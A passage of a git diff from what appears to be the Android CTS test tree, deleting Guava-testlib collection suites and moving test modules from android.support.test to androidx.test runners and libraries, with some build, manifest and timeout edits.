-        <option name="class" value="libcore.java.util.suite.OtherCollectionsSuite" />
-        <option name="runtime-hint" value="8m" />
-        <option name="test-timeout" value="1200000" />
-        <option name="shell-timeout" value="1400000" />
-    </test>
-</configuration>
diff --git a/tests/libcore/javautilcollections/libs/guava-20.0.jar b/tests/libcore/javautilcollections/libs/guava-20.0.jar
deleted file mode 100644
index 632772f..0000000
--- a/tests/libcore/javautilcollections/libs/guava-20.0.jar
+++ /dev/null
Binary files differ
diff --git a/tests/libcore/javautilcollections/libs/guava-testlib-20.0.jar b/tests/libcore/javautilcollections/libs/guava-testlib-20.0.jar
deleted file mode 100644
index 6dd8d90..0000000
--- a/tests/libcore/javautilcollections/libs/guava-testlib-20.0.jar
+++ /dev/null
Binary files differ
diff --git a/tests/libcore/javautilcollections/src/libcore/java/util/suite/ConcurrentSkipListMapNaturalSuite.java b/tests/libcore/javautilcollections/src/libcore/java/util/suite/ConcurrentSkipListMapNaturalSuite.java
deleted file mode 100644
index 332190b..0000000
--- a/tests/libcore/javautilcollections/src/libcore/java/util/suite/ConcurrentSkipListMapNaturalSuite.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- *
- */
-
-package libcore.java.util.suite;
-
-import junit.framework.Test;
-import junit.framework.TestSuite;
-
-import libcore.java.util.tests.AndroidTestsForMapsInJavaUtil;
-import libcore.java.util.tests.AndroidTestsForMapsInJavaUtil.MapsToTest;
-
-public class ConcurrentSkipListMapNaturalSuite extends TestSuite {
-    public static Test suite() {
-        return new AndroidTestsForMapsInJavaUtil(MapsToTest.CONCURRENT_SKIP_LIST_MAP_NATURAL)
-                .allTests();
-    }
-}
diff --git a/tests/libcore/javautilcollections/src/libcore/java/util/suite/ConcurrentSkipListMapWithComparatorSuite.java b/tests/libcore/javautilcollections/src/libcore/java/util/suite/ConcurrentSkipListMapWithComparatorSuite.java
deleted file mode 100644
index 878e721..0000000
--- a/tests/libcore/javautilcollections/src/libcore/java/util/suite/ConcurrentSkipListMapWithComparatorSuite.java
+++ /dev/null
@@ -1,32 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- *
- */
-
-package libcore.java.util.suite;
-
-import junit.framework.Test;
-import junit.framework.TestSuite;
-
-import libcore.java.util.tests.AndroidTestsForMapsInJavaUtil;
-import libcore.java.util.tests.AndroidTestsForMapsInJavaUtil.MapsToTest;
-
-public class ConcurrentSkipListMapWithComparatorSuite extends TestSuite {
-    public static Test suite() {
-        return new AndroidTestsForMapsInJavaUtil(
-                MapsToTest.CONCURRENT_SKIP_LIST_MAP_WITH_COMPARATOR).allTests();
-    }
-
-}
diff --git a/tests/libcore/javautilcollections/src/libcore/java/util/suite/OtherCollectionsSuite.java b/tests/libcore/javautilcollections/src/libcore/java/util/suite/OtherCollectionsSuite.java
deleted file mode 100644
index 6af45f4..0000000
--- a/tests/libcore/javautilcollections/src/libcore/java/util/suite/OtherCollectionsSuite.java
+++ /dev/null
@@ -1,42 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- *
- */
-
-package libcore.java.util.suite;
-
-import junit.framework.Test;
-import junit.framework.TestSuite;
-
-import libcore.java.util.tests.AndroidTestsForListsInJavaUtil;
-import libcore.java.util.tests.AndroidTestsForMapsInJavaUtil;
-import libcore.java.util.tests.AndroidTestsForMapsInJavaUtil.MapsToTest;
-import libcore.java.util.tests.AndroidTestsForQueuesInJavaUtil;
-import libcore.java.util.tests.AndroidTestsForSetsInJavaUtil;
-
-/**
- * A suite of all guava-testlib Collection tests not covered by the other suites in this
- * package.
- */
-public class OtherCollectionsSuite extends TestSuite {
-    public static Test suite() {
-        TestSuite result = new TestSuite();
-        result.addTest(new AndroidTestsForListsInJavaUtil().allTests());
-        result.addTest(new AndroidTestsForMapsInJavaUtil(MapsToTest.OTHER).allTests());
-        result.addTest(new AndroidTestsForQueuesInJavaUtil().allTests());
-        result.addTest(new AndroidTestsForSetsInJavaUtil().allTests());
-        return result;
-    }
-}
diff --git a/tests/libcore/javautilcollections/src/libcore/java/util/suite/TreeMapNaturalSuite.java b/tests/libcore/javautilcollections/src/libcore/java/util/suite/TreeMapNaturalSuite.java
deleted file mode 100644
index 68a7624..0000000
--- a/tests/libcore/javautilcollections/src/libcore/java/util/suite/TreeMapNaturalSuite.java
+++ /dev/null
@@ -1,30 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- *
- */
-
-package libcore.java.util.suite;
-
-import junit.framework.Test;
-import junit.framework.TestSuite;
-
-import libcore.java.util.tests.AndroidTestsForMapsInJavaUtil;
-import libcore.java.util.tests.AndroidTestsForMapsInJavaUtil.MapsToTest;
-
-public class TreeMapNaturalSuite extends TestSuite {
-    public static Test suite() {
-        return new AndroidTestsForMapsInJavaUtil(MapsToTest.TREE_MAP_NATURAL).allTests();
-    }
-}
diff --git a/tests/libcore/javautilcollections/src/libcore/java/util/suite/TreeMapWithComparatorSuite.java b/tests/libcore/javautilcollections/src/libcore/java/util/suite/TreeMapWithComparatorSuite.java
deleted file mode 100644
index 6e6fd6f..0000000
--- a/tests/libcore/javautilcollections/src/libcore/java/util/suite/TreeMapWithComparatorSuite.java
+++ /dev/null
@@ -1,30 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- *
- */
-
-package libcore.java.util.suite;
-
-import junit.framework.Test;
-import junit.framework.TestSuite;
-
-import libcore.java.util.tests.AndroidTestsForMapsInJavaUtil;
-import libcore.java.util.tests.AndroidTestsForMapsInJavaUtil.MapsToTest;
-
-public class TreeMapWithComparatorSuite extends TestSuite {
-    public static Test suite() {
-        return new AndroidTestsForMapsInJavaUtil(MapsToTest.TREE_MAP_WITH_COMPARATOR).allTests();
-    }
-}
diff --git a/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForListsInJavaUtil.java b/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForListsInJavaUtil.java
deleted file mode 100644
index 8d9177c..0000000
--- a/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForListsInJavaUtil.java
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- *
- */
-
-package libcore.java.util.tests;
-
-import com.google.common.collect.testing.TestsForListsInJavaUtil;
-import com.google.common.collect.testing.testers.CollectionToArrayTester;
-
-import junit.framework.Test;
-
-import java.lang.reflect.Method;
-import java.util.Collection;
-import java.util.Collections;
-
-/**
- * Guava-testlib tests for {@code List} implementations from {@code java.util}.
- */
-public class AndroidTestsForListsInJavaUtil extends TestsForListsInJavaUtil {
-    @Override
-    protected Collection<Method> suppressForArraysAsList() {
-        return Collections.singleton(
-                // http://b/30829421
-                CollectionToArrayTester.getToArrayIsPlainObjectArrayMethod());
-    }
-}
diff --git a/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForMapsInJavaUtil.java b/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForMapsInJavaUtil.java
deleted file mode 100644
index 11f0afe..0000000
--- a/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForMapsInJavaUtil.java
+++ /dev/null
@@ -1,99 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- *
- */
-
-package libcore.java.util.tests;
-
-import com.google.common.collect.testing.TestsForMapsInJavaUtil;
-import com.google.common.collect.testing.testers.CollectionAddAllTester;
-import com.google.common.collect.testing.testers.CollectionAddTester;
-
-import junit.framework.Test;
-import junit.framework.TestSuite;
-
-import java.lang.reflect.Method;
-import java.util.Arrays;
-import java.util.Collection;
-import java.util.Objects;
-
-/**
- * Guava-testlib tests for {@link MapsToTest} that were specified as a
- * constructor argument.
- */
-public class AndroidTestsForMapsInJavaUtil extends TestsForMapsInJavaUtil {
-    public enum MapsToTest {
-        /** All Maps other than those below. */
-        OTHER,
-        /** TreeMao with natural ordering. */
-        TREE_MAP_NATURAL,
-        /** TreeMap with a Comparator. */
-        TREE_MAP_WITH_COMPARATOR,
-        /** ConcurrentSKipListMap with natural ordering. */
-        CONCURRENT_SKIP_LIST_MAP_NATURAL,
-        /** ConcurrentSKipListMap with a Comparator. */
-        CONCURRENT_SKIP_LIST_MAP_WITH_COMPARATOR
-    }
-
-    private final MapsToTest mapsToTest;
-
-    public AndroidTestsForMapsInJavaUtil(MapsToTest mapsToTest) {
-        this.mapsToTest = Objects.requireNonNull(mapsToTest);
-    }
-
-    /**
-     * Returns the tests for the {@link MapsToTest} from {@code java.util}.
-     */
-    @Override
-    public final Test allTests() {
-        TestSuite suite = new TestSuite("java.util Maps: " + mapsToTest);
-        switch (mapsToTest) {
-            case OTHER:
-                suite.addTest(testsForCheckedMap());
-                suite.addTest(testsForCheckedSortedMap());
-                suite.addTest(testsForEmptyMap());
-                suite.addTest(testsForSingletonMap());
-                suite.addTest(testsForHashMap());
-                suite.addTest(testsForLinkedHashMap());
-                suite.addTest(testsForEnumMap());
-                suite.addTest(testsForConcurrentHashMap());
-                break;
-            case TREE_MAP_NATURAL:
-                suite.addTest(testsForTreeMapNatural());
-                break;
-            case TREE_MAP_WITH_COMPARATOR:
-                suite.addTest(testsForTreeMapWithComparator());
-                break;
-            case CONCURRENT_SKIP_LIST_MAP_NATURAL:
-                suite.addTest(testsForConcurrentSkipListMapNatural());
-                break;
-            case CONCURRENT_SKIP_LIST_MAP_WITH_COMPARATOR:
-                suite.addTest(testsForConcurrentSkipListMapWithComparator());
-                break;
-            default:
-                throw new IllegalArgumentException("Unknown part: " + mapsToTest);
-        }
-        return suite;
-    }
-
-    @Override
-    protected final Collection<Method> suppressForConcurrentHashMap() {
-        // http://b/30853241
-        return Arrays.asList(
-                CollectionAddAllTester.getAddAllUnsupportedNonePresentMethod(),
-                CollectionAddAllTester.getAddAllUnsupportedSomePresentMethod(),
-                CollectionAddTester.getAddUnsupportedNotPresentMethod());
-    }
-}
diff --git a/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForQueuesInJavaUtil.java b/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForQueuesInJavaUtil.java
deleted file mode 100644
index 52f0eb3..0000000
--- a/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForQueuesInJavaUtil.java
+++ /dev/null
@@ -1,61 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- *
- */
-
-package libcore.java.util.tests;
-
-import com.google.common.collect.testing.MinimalCollection;
-import com.google.common.collect.testing.QueueTestSuiteBuilder;
-import com.google.common.collect.testing.TestStringQueueGenerator;
-import com.google.common.collect.testing.TestsForListsInJavaUtil;
-import com.google.common.collect.testing.TestsForQueuesInJavaUtil;
-import com.google.common.collect.testing.features.CollectionFeature;
-import com.google.common.collect.testing.features.CollectionSize;
-
-import java.util.LinkedList;
-import java.util.Queue;
-import junit.framework.Test;
-
-/**
- * Guava-testlib tests for {@code Queue} implementations from {@code java.util}.
- */
-public class AndroidTestsForQueuesInJavaUtil extends TestsForQueuesInJavaUtil {
-
-    /**
-     * Override and copy the super class's implementation in order to change the name to ensure
-     * that created tests are unique and do not clash with those created by
-     * {@link TestsForListsInJavaUtil#testsForLinkedList()}, see bug 62438629.
-     */
-    @Override
-    public Test testsForLinkedList() {
-        return QueueTestSuiteBuilder.using(
-                new TestStringQueueGenerator() {
-                    @Override
-                    public Queue<String> create(String[] elements) {
-                        return new LinkedList<String>(MinimalCollection.of(elements));
-                    }
-                })
-                .named("LinkedList as Queue")
-                .withFeatures(
-                        CollectionFeature.GENERAL_PURPOSE,
-                        CollectionFeature.ALLOWS_NULL_VALUES,
-                        CollectionFeature.KNOWN_ORDER,
-                        CollectionSize.ANY)
-                .skipCollectionTests() // already covered in TestsForListsInJavaUtil
-                .suppressing(suppressForLinkedList())
-                .createTestSuite();
-    }
-}
diff --git a/tests/libcore/jsr166/Android.mk b/tests/libcore/jsr166/Android.mk
index e355efd..3cb2bfa 100644
--- a/tests/libcore/jsr166/Android.mk
+++ b/tests/libcore/jsr166/Android.mk
@@ -20,7 +20,7 @@
 LOCAL_PRIVATE_PLATFORM_APIS := true
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    cts-core-test-runner \
+    cts-core-test-runner-axt \
     jsr166-tests
 
 # Don't include this package in any target
diff --git a/tests/libcore/jsr166/AndroidManifest.xml b/tests/libcore/jsr166/AndroidManifest.xml
index 5fd3f6e..e15f662 100644
--- a/tests/libcore/jsr166/AndroidManifest.xml
+++ b/tests/libcore/jsr166/AndroidManifest.xml
@@ -20,7 +20,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.libcore.cts.jsr166"
                      android:label="CTS Libcore JSR166 test cases">
         <meta-data android:name="listener"
diff --git a/tests/libcore/luni/Android.mk b/tests/libcore/luni/Android.mk
index 619962b..a2a6a24 100644
--- a/tests/libcore/luni/Android.mk
+++ b/tests/libcore/luni/Android.mk
@@ -23,7 +23,7 @@
     apache-harmony-tests \
     conscrypt-tests \
     core-tests \
-    cts-core-test-runner \
+    cts-core-test-runner-axt \
     mockito-target-minus-junit4 \
     time_zone_distro-tests \
     time_zone_distro_installer-tests
diff --git a/tests/libcore/luni/AndroidManifest.xml b/tests/libcore/luni/AndroidManifest.xml
index 87e916f..b1d5c87 100644
--- a/tests/libcore/luni/AndroidManifest.xml
+++ b/tests/libcore/luni/AndroidManifest.xml
@@ -21,7 +21,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.libcore.cts"
                      android:label="CTS Libcore test cases">
         <meta-data android:name="listener"
diff --git a/tests/libcore/ojluni/AndroidManifest.xml b/tests/libcore/ojluni/AndroidManifest.xml
index 8c45c30..b390698 100644
--- a/tests/libcore/ojluni/AndroidManifest.xml
+++ b/tests/libcore/ojluni/AndroidManifest.xml
@@ -19,7 +19,7 @@
     <uses-permission android:name="android.permission.INTERNET" />
 
     <!-- important: instrument another package which actually contains AJUR -->
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.libcore.runner"
                      android:label="CTS Libcore OJ test cases">
         <meta-data android:name="listener"
diff --git a/tests/libcore/okhttp/Android.mk b/tests/libcore/okhttp/Android.mk
index 70259e8..eb061da 100644
--- a/tests/libcore/okhttp/Android.mk
+++ b/tests/libcore/okhttp/Android.mk
@@ -21,7 +21,7 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     bouncycastle-unbundled \
-    cts-core-test-runner \
+    cts-core-test-runner-axt \
     okhttp-nojarjar \
     okhttp-tests-nojarjar
 
diff --git a/tests/libcore/okhttp/AndroidManifest.xml b/tests/libcore/okhttp/AndroidManifest.xml
index dfff563..5396d8e 100644
--- a/tests/libcore/okhttp/AndroidManifest.xml
+++ b/tests/libcore/okhttp/AndroidManifest.xml
@@ -21,7 +21,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.libcore.cts.okhttp"
                      android:label="CTS Libcore OkHttp test cases">
         <meta-data android:name="listener"
diff --git a/tests/libcore/runner/Android.mk b/tests/libcore/runner/Android.mk
index e70ad50..093779b 100644
--- a/tests/libcore/runner/Android.mk
+++ b/tests/libcore/runner/Android.mk
@@ -20,7 +20,7 @@
 LOCAL_SDK_VERSION := current
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    cts-core-test-runner
+    cts-core-test-runner-axt
 
 # Don't include this package in any target
 LOCAL_MODULE_TAGS := tests
diff --git a/tests/libcore/wycheproof-bc/Android.mk b/tests/libcore/wycheproof-bc/Android.mk
index 61dc8c7..a43e8b4 100644
--- a/tests/libcore/wycheproof-bc/Android.mk
+++ b/tests/libcore/wycheproof-bc/Android.mk
@@ -20,7 +20,7 @@
 LOCAL_PRIVATE_PLATFORM_APIS := true
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    cts-core-test-runner \
+    cts-core-test-runner-axt \
     wycheproof
 
 LOCAL_JAVA_LIBRARIES := bouncycastle
diff --git a/tests/libcore/wycheproof-bc/AndroidManifest.xml b/tests/libcore/wycheproof-bc/AndroidManifest.xml
index fb53977..b62c62e 100644
--- a/tests/libcore/wycheproof-bc/AndroidManifest.xml
+++ b/tests/libcore/wycheproof-bc/AndroidManifest.xml
@@ -21,7 +21,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.libcore.cts.wycheproof.bouncycastle"
                      android:label="CTS Libcore Wycheproof Bouncy Castle test cases">
         <meta-data android:name="listener"
diff --git a/tests/libcore/wycheproof-bc/AndroidTest.xml b/tests/libcore/wycheproof-bc/AndroidTest.xml
index 2e92706..8e455bf 100644
--- a/tests/libcore/wycheproof-bc/AndroidTest.xml
+++ b/tests/libcore/wycheproof-bc/AndroidTest.xml
@@ -30,7 +30,7 @@
         <option name="instrumentation-arg" key="filter"
                 value="com.android.cts.core.runner.ExpectationBasedFilter" />
         <option name="core-expectation" value="/knownfailures.txt" />
-        <option name="runtime-hint" value="10m"/>
-        <option name="test-timeout" value="600000" />
+        <option name="runtime-hint" value="16m"/>
+        <option name="test-timeout" value="3600000" />
     </test>
 </configuration>
diff --git a/tests/libcore/wycheproof/Android.mk b/tests/libcore/wycheproof/Android.mk
index 015b49d..d5866f1 100644
--- a/tests/libcore/wycheproof/Android.mk
+++ b/tests/libcore/wycheproof/Android.mk
@@ -20,7 +20,7 @@
 LOCAL_PRIVATE_PLATFORM_APIS := true
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    cts-core-test-runner \
+    cts-core-test-runner-axt \
     wycheproof
 
 LOCAL_JAVA_LIBRARIES := conscrypt
diff --git a/tests/libcore/wycheproof/AndroidManifest.xml b/tests/libcore/wycheproof/AndroidManifest.xml
index 5e8058f..9c0a384 100644
--- a/tests/libcore/wycheproof/AndroidManifest.xml
+++ b/tests/libcore/wycheproof/AndroidManifest.xml
@@ -21,7 +21,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.libcore.cts.wycheproof.conscrypt"
                      android:label="CTS Libcore Wycheproof Conscrypt test cases">
         <meta-data android:name="listener"
diff --git a/tests/mocking/Android.mk b/tests/mocking/Android.mk
index 2afa4d2..9d54f61 100644
--- a/tests/mocking/Android.mk
+++ b/tests/mocking/Android.mk
@@ -22,8 +22,8 @@
     android.test.runner.stubs
 LOCAL_STATIC_JAVA_LIBRARIES = \
     mockito-target \
-    android-support-test \
-    ctstestrunner
+    androidx.test.rules \
+    ctstestrunner-axt
 LOCAL_SRC_FILES := \
     $(call all-java-files-under, \
             ../../../external/dexmaker/dexmaker-mockito-tests/src/androidTest/java)
diff --git a/tests/mocking/AndroidManifest.xml b/tests/mocking/AndroidManifest.xml
index 34f4095..d0f9e00 100644
--- a/tests/mocking/AndroidManifest.xml
+++ b/tests/mocking/AndroidManifest.xml
@@ -24,7 +24,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.mocking.cts"
                      android:label="CTS tests for mockito mocking">
         <meta-data android:name="listener"
diff --git a/tests/mocking/debuggable/Android.mk b/tests/mocking/debuggable/Android.mk
index 5187811..04fb2a1 100644
--- a/tests/mocking/debuggable/Android.mk
+++ b/tests/mocking/debuggable/Android.mk
@@ -22,8 +22,8 @@
     android.test.runner.stubs
 LOCAL_STATIC_JAVA_LIBRARIES = \
     mockito-target \
-    android-support-test \
-    ctstestrunner
+    androidx.test.rules \
+    ctstestrunner-axt
 LOCAL_SRC_FILES := \
     $(call all-java-files-under, \
             ../../../../external/dexmaker/dexmaker-mockito-tests/src/androidTest/java)
diff --git a/tests/mocking/debuggable/AndroidManifest.xml b/tests/mocking/debuggable/AndroidManifest.xml
index f336afc..3ca5af9 100644
--- a/tests/mocking/debuggable/AndroidManifest.xml
+++ b/tests/mocking/debuggable/AndroidManifest.xml
@@ -24,7 +24,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.mocking.cts.debuggable"
                      android:label="CTS tests for mockito mocking (while debuggable)">
         <meta-data android:name="listener"
diff --git a/tests/mocking/inline/Android.mk b/tests/mocking/inline/Android.mk
index 9fa873d..4c99385 100644
--- a/tests/mocking/inline/Android.mk
+++ b/tests/mocking/inline/Android.mk
@@ -22,8 +22,8 @@
     android.test.runner.stubs
 LOCAL_STATIC_JAVA_LIBRARIES = \
     mockito-target-inline \
-    android-support-test \
-    ctstestrunner
+    androidx.test.rules \
+    ctstestrunner-axt
 LOCAL_MULTILIB := \
     both
 LOCAL_JNI_SHARED_LIBRARIES := \
diff --git a/tests/mocking/inline/AndroidManifest.xml b/tests/mocking/inline/AndroidManifest.xml
index 9d97a38..4bb4085 100644
--- a/tests/mocking/inline/AndroidManifest.xml
+++ b/tests/mocking/inline/AndroidManifest.xml
@@ -24,7 +24,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.inline.mocking.cts"
                      android:label="CTS tests for mockito inline mocking">
         <meta-data android:name="listener"
diff --git a/tests/netlegacy22.api/Android.mk b/tests/netlegacy22.api/Android.mk
index 5a330e5..7fe251a 100644
--- a/tests/netlegacy22.api/Android.mk
+++ b/tests/netlegacy22.api/Android.mk
@@ -27,7 +27,7 @@
 
 LOCAL_SDK_VERSION := 22
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
 
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/tests/netlegacy22.api/AndroidManifest.xml b/tests/netlegacy22.api/AndroidManifest.xml
index e900ceb..a9411cc 100644
--- a/tests/netlegacy22.api/AndroidManifest.xml
+++ b/tests/netlegacy22.api/AndroidManifest.xml
@@ -29,7 +29,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.netlegacy22.api.cts"
                      android:label="CTS tests of legacy android.net APIs as of API 22">
         <meta-data android:name="listener"
diff --git a/tests/netlegacy22.permission/Android.mk b/tests/netlegacy22.permission/Android.mk
index f5cc38b..f9ae8fe 100644
--- a/tests/netlegacy22.permission/Android.mk
+++ b/tests/netlegacy22.permission/Android.mk
@@ -27,7 +27,7 @@
 
 LOCAL_SDK_VERSION := 22
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
 
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/tests/netlegacy22.permission/AndroidManifest.xml b/tests/netlegacy22.permission/AndroidManifest.xml
index 2accd27..14c40e5 100644
--- a/tests/netlegacy22.permission/AndroidManifest.xml
+++ b/tests/netlegacy22.permission/AndroidManifest.xml
@@ -41,7 +41,7 @@
         package. That runner cannot be added to this package either, since it
         relies on hidden APIs.
     -->
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.netlegacy22.permission.cts"
                      android:label="CTS tests of legacy android.net permissions as of API 22">
         <meta-data android:name="listener"
diff --git a/tests/netlegacy22.permission/src/android/net/cts/legacy/api22/permission/QtaguidPermissionTest.java b/tests/netlegacy22.permission/src/android/net/cts/legacy/api22/permission/QtaguidPermissionTest.java
index 60d2a2a..7d0dba2 100644
--- a/tests/netlegacy22.permission/src/android/net/cts/legacy/api22/permission/QtaguidPermissionTest.java
+++ b/tests/netlegacy22.permission/src/android/net/cts/legacy/api22/permission/QtaguidPermissionTest.java
@@ -1,23 +1,19 @@
 package android.net.cts.legacy.api22.permission;
 
-import android.content.Context;
-import android.content.pm.ApplicationInfo;
-import android.content.pm.PackageManager;
-import android.content.pm.PackageManager.NameNotFoundException;
 import android.net.TrafficStats;
-import android.support.test.filters.MediumTest;
 import android.test.AndroidTestCase;
 
-import java.io.File;
-import java.net.ServerSocket;
-import java.net.Socket;
+import androidx.test.filters.MediumTest;
 
 import java.io.BufferedReader;
+import java.io.File;
 import java.io.FileNotFoundException;
 import java.io.FileReader;
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.OutputStream;
+import java.net.ServerSocket;
+import java.net.Socket;
 
 public class QtaguidPermissionTest extends AndroidTestCase {
 
diff --git a/tests/openglperf2/Android.mk b/tests/openglperf2/Android.mk
index 4f402ca..8335340 100644
--- a/tests/openglperf2/Android.mk
+++ b/tests/openglperf2/Android.mk
@@ -21,7 +21,7 @@
 # Include both the 32 and 64 bit versions
 LOCAL_MULTILIB := both
 
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt
 
 LOCAL_JNI_SHARED_LIBRARIES := libctsopengl_jni
 
diff --git a/tests/openglperf2/AndroidManifest.xml b/tests/openglperf2/AndroidManifest.xml
index b1051a4d..f23e411 100644
--- a/tests/openglperf2/AndroidManifest.xml
+++ b/tests/openglperf2/AndroidManifest.xml
@@ -46,7 +46,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
